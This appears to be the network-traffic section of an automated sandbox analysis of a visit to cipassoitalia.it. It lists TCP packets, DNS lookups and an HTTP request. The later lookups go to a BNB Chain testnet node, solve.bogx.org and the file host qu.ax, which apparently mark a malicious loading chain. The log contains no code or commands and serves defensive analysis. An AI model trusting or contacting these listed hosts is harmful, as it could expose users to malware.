Jan 9, 2025 13:19:31.864165068 CET	443	49884	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:31.864546061 CET	49884	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:31.864615917 CET	443	49884	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:31.865094900 CET	443	49884	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:31.865394115 CET	49884	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:31.865479946 CET	443	49884	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:31.865561008 CET	49884	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:31.865561008 CET	49884	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:31.865597010 CET	443	49884	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:31.883140087 CET	443	49880	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.883460999 CET	49880	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.883488894 CET	443	49880	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.884066105 CET	443	49885	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.884231091 CET	49885	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.884243011 CET	443	49885	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.884658098 CET	443	49880	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.884938955 CET	49880	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.885071993 CET	49880	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.885085106 CET	443	49880	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.885116100 CET	443	49880	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.887820005 CET	443	49885	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.887909889 CET	49885	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.888195038 CET	49885	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.888257027 CET	443	49885	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.888351917 CET	49885	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.888360023 CET	443	49885	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.904639959 CET	443	49879	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:31.908922911 CET	49879	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:31.908942938 CET	443	49879	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:31.909023046 CET	49879	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:31.917376995 CET	49884	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:31.917890072 CET	443	49881	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.933378935 CET	49885	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.933437109 CET	49880	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.948441982 CET	49881	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.948512077 CET	443	49881	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.948915958 CET	443	49881	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.949316025 CET	49881	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.949395895 CET	443	49881	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:31.949876070 CET	49881	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:31.950627089 CET	49891	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:31.950676918 CET	443	49891	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:31.950743914 CET	49891	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:31.950932980 CET	49891	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:31.950947046 CET	443	49891	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:31.991353989 CET	443	49881	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.021150112 CET	443	49888	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.022100925 CET	49888	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.022125006 CET	443	49888	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.025656939 CET	443	49888	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.025729895 CET	49888	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.026016951 CET	49888	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.026185036 CET	443	49888	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.026192904 CET	49888	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.033090115 CET	443	49886	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.033411980 CET	49886	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.033437967 CET	443	49886	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.034924984 CET	443	49886	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.034987926 CET	49886	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.035274029 CET	49886	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.035363913 CET	443	49886	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.035413027 CET	49886	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.035418987 CET	443	49886	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.067337036 CET	443	49888	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.075340033 CET	49888	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.075351954 CET	443	49888	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.075392962 CET	49886	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.080382109 CET	443	49889	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.080642939 CET	49889	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.080672026 CET	443	49889	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.081537962 CET	443	49889	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.081610918 CET	49889	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.081857920 CET	49889	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.081914902 CET	443	49889	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.081984997 CET	49889	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.081995964 CET	443	49889	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.122416973 CET	49888	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.125288963 CET	49889	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.138627052 CET	443	49887	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.141328096 CET	49887	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.141407013 CET	443	49887	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.142070055 CET	443	49887	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.143707037 CET	49887	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.143852949 CET	443	49887	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.144012928 CET	49887	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.180556059 CET	443	49883	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.180587053 CET	443	49883	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.180593967 CET	443	49883	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.180663109 CET	443	49883	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.180706024 CET	49883	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.180769920 CET	49883	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.181462049 CET	49883	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.181482077 CET	443	49883	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.187342882 CET	443	49887	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.226672888 CET	443	49884	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:32.226813078 CET	443	49884	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:32.226994038 CET	49884	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:32.227288961 CET	49884	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:32.227310896 CET	443	49884	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:32.229454041 CET	49892	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.229486942 CET	443	49892	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.229559898 CET	49892	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.229976892 CET	49892	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.229989052 CET	443	49892	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.230411053 CET	49893	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:32.230473042 CET	443	49893	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:32.230542898 CET	49893	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:32.230732918 CET	49893	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:32.230762005 CET	443	49893	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:32.253032923 CET	443	49885	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.253098011 CET	443	49885	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.253288984 CET	49885	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.253309011 CET	443	49885	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.253355980 CET	49885	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.254273891 CET	49885	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.254364967 CET	443	49885	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.254441023 CET	49885	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.273241043 CET	443	49880	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.273291111 CET	443	49880	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.273377895 CET	49880	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.273402929 CET	443	49880	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.273998976 CET	49880	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.274055004 CET	443	49880	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.274136066 CET	49880	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.275860071 CET	49894	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.275886059 CET	443	49894	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.276026011 CET	49894	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.276297092 CET	49894	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.276314974 CET	443	49894	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.276633024 CET	49895	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.276686907 CET	443	49895	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.276757956 CET	49895	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.276910067 CET	49895	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:32.276930094 CET	443	49895	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.277453899 CET	443	49881	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.277542114 CET	443	49881	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:32.277602911 CET	49881	443	192.168.2.16	89.46.108.67

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 9, 2025 13:19:08.571116924 CET	192.168.2.16	1.1.1.1	0xeeba	Standard query (0)	cipassoitalia.it	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:08.571253061 CET	192.168.2.16	1.1.1.1	0xf50c	Standard query (0)	cipassoitalia.it	65	IN (0x0001)	false
Jan 9, 2025 13:19:09.354784966 CET	192.168.2.16	1.1.1.1	0x5c34	Standard query (0)	www.cipassoitalia.it	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:09.355031013 CET	192.168.2.16	1.1.1.1	0xcf3f	Standard query (0)	www.cipassoitalia.it	65	IN (0x0001)	false
Jan 9, 2025 13:19:10.629807949 CET	192.168.2.16	1.1.1.1	0x8380	Standard query (0)	s.w.org	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:10.629992008 CET	192.168.2.16	1.1.1.1	0xb9	Standard query (0)	s.w.org	65	IN (0x0001)	false
Jan 9, 2025 13:19:12.486879110 CET	192.168.2.16	1.1.1.1	0x54a9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:12.487176895 CET	192.168.2.16	1.1.1.1	0x7371	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 9, 2025 13:19:23.266685009 CET	192.168.2.16	1.1.1.1	0xaeea	Standard query (0)	www.cipassoitalia.it	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:23.266834974 CET	192.168.2.16	1.1.1.1	0x2132	Standard query (0)	www.cipassoitalia.it	65	IN (0x0001)	false
Jan 9, 2025 13:19:23.783159018 CET	192.168.2.16	1.1.1.1	0x2d0b	Standard query (0)	data-seed-prebsc-1-s1.bnbchain.org	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:23.783328056 CET	192.168.2.16	1.1.1.1	0xd3a9	Standard query (0)	_8545._https.data-seed-prebsc-1-s1.bnbchain.org	65	IN (0x0001)	false
Jan 9, 2025 13:19:24.736670971 CET	192.168.2.16	1.1.1.1	0xbfad	Standard query (0)	data-seed-prebsc-1-s1.bnbchain.org	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:24.736865997 CET	192.168.2.16	1.1.1.1	0x2e37	Standard query (0)	_8545._https.data-seed-prebsc-1-s1.bnbchain.org	65	IN (0x0001)	false
Jan 9, 2025 13:19:24.751019001 CET	192.168.2.16	1.1.1.1	0xa90f	Standard query (0)	use.fontawesome.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:24.751133919 CET	192.168.2.16	1.1.1.1	0xfdc8	Standard query (0)	use.fontawesome.com	65	IN (0x0001)	false
Jan 9, 2025 13:19:26.119672060 CET	192.168.2.16	1.1.1.1	0xbd32	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:26.119822025 CET	192.168.2.16	1.1.1.1	0xc11f	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 9, 2025 13:19:26.120122910 CET	192.168.2.16	1.1.1.1	0x9664	Standard query (0)	mc.yandex.ru	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:26.120309114 CET	192.168.2.16	1.1.1.1	0x934a	Standard query (0)	mc.yandex.ru	65	IN (0x0001)	false
Jan 9, 2025 13:19:27.177092075 CET	192.168.2.16	1.1.1.1	0x577f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:27.177292109 CET	192.168.2.16	1.1.1.1	0xb2ec	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 9, 2025 13:19:27.759013891 CET	192.168.2.16	1.1.1.1	0x11cd	Standard query (0)	mc.yandex.ru	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:27.759155989 CET	192.168.2.16	1.1.1.1	0x24aa	Standard query (0)	mc.yandex.ru	65	IN (0x0001)	false
Jan 9, 2025 13:19:27.909157038 CET	192.168.2.16	1.1.1.1	0x13cf	Standard query (0)	mc.yandex.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:27.909461021 CET	192.168.2.16	1.1.1.1	0x455b	Standard query (0)	mc.yandex.com	65	IN (0x0001)	false
Jan 9, 2025 13:19:28.632859945 CET	192.168.2.16	1.1.1.1	0x32a8	Standard query (0)	mc.yandex.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:28.632859945 CET	192.168.2.16	1.1.1.1	0x7dd2	Standard query (0)	mc.yandex.com	65	IN (0x0001)	false
Jan 9, 2025 13:19:30.242862940 CET	192.168.2.16	1.1.1.1	0x3923	Standard query (0)	mc.yandex.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:30.243002892 CET	192.168.2.16	1.1.1.1	0xc80b	Standard query (0)	mc.yandex.com	65	IN (0x0001)	false
Jan 9, 2025 13:19:34.063040972 CET	192.168.2.16	1.1.1.1	0x3a08	Standard query (0)	s.w.org	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:34.063213110 CET	192.168.2.16	1.1.1.1	0x33b5	Standard query (0)	s.w.org	65	IN (0x0001)	false
Jan 9, 2025 13:20:19.996762037 CET	192.168.2.16	1.1.1.1	0x1053	Standard query (0)	solve.bogx.org	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:20:23.797573090 CET	192.168.2.16	1.1.1.1	0x7111	Standard query (0)	qu.ax	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:20:52.610505104 CET	192.168.2.16	1.1.1.1	0x3608	Standard query (0)	qu.ax	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:21:39.122116089 CET	192.168.2.16	1.1.1.1	0x3f1e	Standard query (0)	qu.ax	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 9, 2025 13:19:08.654670954 CET	1.1.1.1	192.168.2.16	0xeeba	No error (0)	cipassoitalia.it		89.46.108.67	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:09.424834013 CET	1.1.1.1	192.168.2.16	0x5c34	No error (0)	www.cipassoitalia.it		89.46.108.67	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:10.636720896 CET	1.1.1.1	192.168.2.16	0x8380	No error (0)	s.w.org		192.0.77.48	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:12.494117022 CET	1.1.1.1	192.168.2.16	0x7371	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 9, 2025 13:19:12.494137049 CET	1.1.1.1	192.168.2.16	0x54a9	No error (0)	www.google.com		216.58.212.132	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:23.392247915 CET	1.1.1.1	192.168.2.16	0xaeea	No error (0)	www.cipassoitalia.it		89.46.108.67	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:23.790690899 CET	1.1.1.1	192.168.2.16	0xd3a9	Name error (3)	_8545._https.data-seed-prebsc-1-s1.bnbchain.org	none	none	65	IN (0x0001)	false
Jan 9, 2025 13:19:23.810519934 CET	1.1.1.1	192.168.2.16	0x2d0b	No error (0)	data-seed-prebsc-1-s1.bnbchain.org	a37dd8b3f3000a75e.awsglobalaccelerator.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 13:19:23.810519934 CET	1.1.1.1	192.168.2.16	0x2d0b	No error (0)	a37dd8b3f3000a75e.awsglobalaccelerator.com		3.33.155.121	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:23.810519934 CET	1.1.1.1	192.168.2.16	0x2d0b	No error (0)	a37dd8b3f3000a75e.awsglobalaccelerator.com		15.197.152.159	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:24.744824886 CET	1.1.1.1	192.168.2.16	0x2e37	Name error (3)	_8545._https.data-seed-prebsc-1-s1.bnbchain.org	none	none	65	IN (0x0001)	false
Jan 9, 2025 13:19:24.758141994 CET	1.1.1.1	192.168.2.16	0xa90f	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 13:19:24.758394003 CET	1.1.1.1	192.168.2.16	0xfdc8	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 13:19:24.764461040 CET	1.1.1.1	192.168.2.16	0xbfad	No error (0)	data-seed-prebsc-1-s1.bnbchain.org	a37dd8b3f3000a75e.awsglobalaccelerator.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 13:19:24.764461040 CET	1.1.1.1	192.168.2.16	0xbfad	No error (0)	a37dd8b3f3000a75e.awsglobalaccelerator.com		3.33.155.121	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:24.764461040 CET	1.1.1.1	192.168.2.16	0xbfad	No error (0)	a37dd8b3f3000a75e.awsglobalaccelerator.com		15.197.152.159	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:26.126287937 CET	1.1.1.1	192.168.2.16	0xbd32	No error (0)	www.google.com		142.250.185.68	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:26.126669884 CET	1.1.1.1	192.168.2.16	0x9664	No error (0)	mc.yandex.ru		87.250.251.119	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:26.126669884 CET	1.1.1.1	192.168.2.16	0x9664	No error (0)	mc.yandex.ru		87.250.250.119	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:26.126669884 CET	1.1.1.1	192.168.2.16	0x9664	No error (0)	mc.yandex.ru		93.158.134.119	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:26.126669884 CET	1.1.1.1	192.168.2.16	0x9664	No error (0)	mc.yandex.ru		77.88.21.119	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:26.126699924 CET	1.1.1.1	192.168.2.16	0xc11f	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 9, 2025 13:19:27.184118986 CET	1.1.1.1	192.168.2.16	0xb2ec	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 9, 2025 13:19:27.184163094 CET	1.1.1.1	192.168.2.16	0x577f	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:27.765707970 CET	1.1.1.1	192.168.2.16	0x11cd	No error (0)	mc.yandex.ru		93.158.134.119	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:27.765707970 CET	1.1.1.1	192.168.2.16	0x11cd	No error (0)	mc.yandex.ru		87.250.250.119	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:27.765707970 CET	1.1.1.1	192.168.2.16	0x11cd	No error (0)	mc.yandex.ru		87.250.251.119	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:27.765707970 CET	1.1.1.1	192.168.2.16	0x11cd	No error (0)	mc.yandex.ru		77.88.21.119	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:27.916101933 CET	1.1.1.1	192.168.2.16	0x455b	No error (0)	mc.yandex.com	mc.yandex.ru		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 13:19:27.916173935 CET	1.1.1.1	192.168.2.16	0x13cf	No error (0)	mc.yandex.com	mc.yandex.ru		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 13:19:27.916173935 CET	1.1.1.1	192.168.2.16	0x13cf	No error (0)	mc.yandex.ru		77.88.21.119	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:27.916173935 CET	1.1.1.1	192.168.2.16	0x13cf	No error (0)	mc.yandex.ru		87.250.251.119	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:27.916173935 CET	1.1.1.1	192.168.2.16	0x13cf	No error (0)	mc.yandex.ru		87.250.250.119	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:27.916173935 CET	1.1.1.1	192.168.2.16	0x13cf	No error (0)	mc.yandex.ru		93.158.134.119	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:28.639751911 CET	1.1.1.1	192.168.2.16	0x7dd2	No error (0)	mc.yandex.com	mc.yandex.ru		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 13:19:28.639895916 CET	1.1.1.1	192.168.2.16	0x32a8	No error (0)	mc.yandex.com	mc.yandex.ru		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 13:19:28.639895916 CET	1.1.1.1	192.168.2.16	0x32a8	No error (0)	mc.yandex.ru		87.250.250.119	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:28.639895916 CET	1.1.1.1	192.168.2.16	0x32a8	No error (0)	mc.yandex.ru		93.158.134.119	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:28.639895916 CET	1.1.1.1	192.168.2.16	0x32a8	No error (0)	mc.yandex.ru		77.88.21.119	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:28.639895916 CET	1.1.1.1	192.168.2.16	0x32a8	No error (0)	mc.yandex.ru		87.250.251.119	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:30.249574900 CET	1.1.1.1	192.168.2.16	0x3923	No error (0)	mc.yandex.com	mc.yandex.ru		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 13:19:30.249574900 CET	1.1.1.1	192.168.2.16	0x3923	No error (0)	mc.yandex.ru		93.158.134.119	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:30.249574900 CET	1.1.1.1	192.168.2.16	0x3923	No error (0)	mc.yandex.ru		87.250.251.119	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:30.249574900 CET	1.1.1.1	192.168.2.16	0x3923	No error (0)	mc.yandex.ru		77.88.21.119	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:30.249574900 CET	1.1.1.1	192.168.2.16	0x3923	No error (0)	mc.yandex.ru		87.250.250.119	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:19:30.249599934 CET	1.1.1.1	192.168.2.16	0xc80b	No error (0)	mc.yandex.com	mc.yandex.ru		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 13:19:34.070494890 CET	1.1.1.1	192.168.2.16	0x3a08	No error (0)	s.w.org		192.0.77.48	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:20:20.030745983 CET	1.1.1.1	192.168.2.16	0x1053	No error (0)	solve.bogx.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:20:20.030745983 CET	1.1.1.1	192.168.2.16	0x1053	No error (0)	solve.bogx.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:20:20.030745983 CET	1.1.1.1	192.168.2.16	0x1053	No error (0)	solve.bogx.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:20:20.030745983 CET	1.1.1.1	192.168.2.16	0x1053	No error (0)	solve.bogx.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:20:20.030745983 CET	1.1.1.1	192.168.2.16	0x1053	No error (0)	solve.bogx.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:20:20.030745983 CET	1.1.1.1	192.168.2.16	0x1053	No error (0)	solve.bogx.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:20:20.030745983 CET	1.1.1.1	192.168.2.16	0x1053	No error (0)	solve.bogx.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:20:23.827594042 CET	1.1.1.1	192.168.2.16	0x7111	No error (0)	qu.ax		188.245.212.29	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:20:23.827594042 CET	1.1.1.1	192.168.2.16	0x7111	No error (0)	qu.ax		188.245.212.25	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:20:23.827594042 CET	1.1.1.1	192.168.2.16	0x7111	No error (0)	qu.ax		157.90.29.179	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:20:52.618110895 CET	1.1.1.1	192.168.2.16	0x3608	No error (0)	qu.ax		188.245.212.29	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:20:52.618110895 CET	1.1.1.1	192.168.2.16	0x3608	No error (0)	qu.ax		188.245.211.225	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:20:52.618110895 CET	1.1.1.1	192.168.2.16	0x3608	No error (0)	qu.ax		167.235.132.18	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:21:39.129290104 CET	1.1.1.1	192.168.2.16	0x3f1e	No error (0)	qu.ax		167.235.132.18	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:21:39.129290104 CET	1.1.1.1	192.168.2.16	0x3f1e	No error (0)	qu.ax		188.245.212.25	A (IP address)	IN (0x0001)	false
Jan 9, 2025 13:21:39.129290104 CET	1.1.1.1	192.168.2.16	0x3f1e	No error (0)	qu.ax		157.90.29.179	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49708	89.46.108.67	80	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 13:19:08.660646915 CET	431	OUT	GET / HTTP/1.1 Host: cipassoitalia.it Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
